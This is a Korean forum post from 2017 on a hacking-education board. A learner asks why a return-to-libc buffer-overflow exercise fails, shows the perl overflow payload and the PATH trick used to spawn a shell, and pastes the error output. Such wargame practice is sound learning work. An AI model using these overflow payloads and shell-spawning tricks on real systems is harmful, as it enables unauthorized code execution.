|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1901 [복사]
원래 순서가
$/bin/bash2
$export PATH=$PATH:.
한 다음 , system()주소 알아내고
$./vulm `perl -e 'printf"A"x84 . "\xe0\x8a\x05\x40"'`
이렇게 치면 원래는
------------------------------------------------
your input is AAAA...AAA?@
sh: (이상한문자) command not found
Segmentaion fault
------------------------------------------------
이렇게 나오고 (이상한문자)를 16진수로 바꿔서
/bin/bash 로 연결되는 파일을 만들어야하는데
위에처럼 안나오고 저는
---------------------------------
your input is AAAA...AAA?@
Segmentation fault
---------------------------------
하고 디렉토리에 (이상한문자) 파일이 생성되버립니다;;
(이상한문자) 파일 삭제하고 (이상한문자)다시 만들어서
/bin/bash로 연결해주고 다시
./vuln `perl -e 'printf"A"x84 . "\xe0\8a\x05\x40"'`
쳤는데 이번엔
----------------------------------------
your input is AAAAAA...AAA?@
sh: (이상한문자) : Text file busy
Segmentation fault
---------------------------
라고 뜨구요...
답에 써있는거 그대로 했는데 뭘 빠뜨린건지, 다른문제인지 알수가없네요
몇시간째 머리 싸매고 고민해봤는데 답이 안나옵니다 도와주세요!
|
Hit : 2979 Date : 2017/11/28 10:21
|